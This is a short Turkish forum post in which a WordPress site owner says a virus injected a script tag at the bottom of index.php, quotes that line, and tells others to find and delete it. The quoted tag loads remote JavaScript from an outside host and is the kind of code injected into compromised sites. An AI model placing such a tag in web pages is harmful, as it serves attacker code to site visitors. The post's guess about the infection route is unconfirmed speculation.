Arkadaşlar sorunu çözdüm bu virüs index.php nin en altına
<script type="text/javascript" src="http://roundstorm.com:8080/Scanner.js"></script>
<!--cbecbef796ef6bd546ae9e9a482580b1--> böyle bir kod koymuş. buda büyük ihtimalle güncellemelerden bulaştı...
wordpress.3.o da tahminimce bir açık var bu kodu bulun silin sorun ortadan kalkıyor.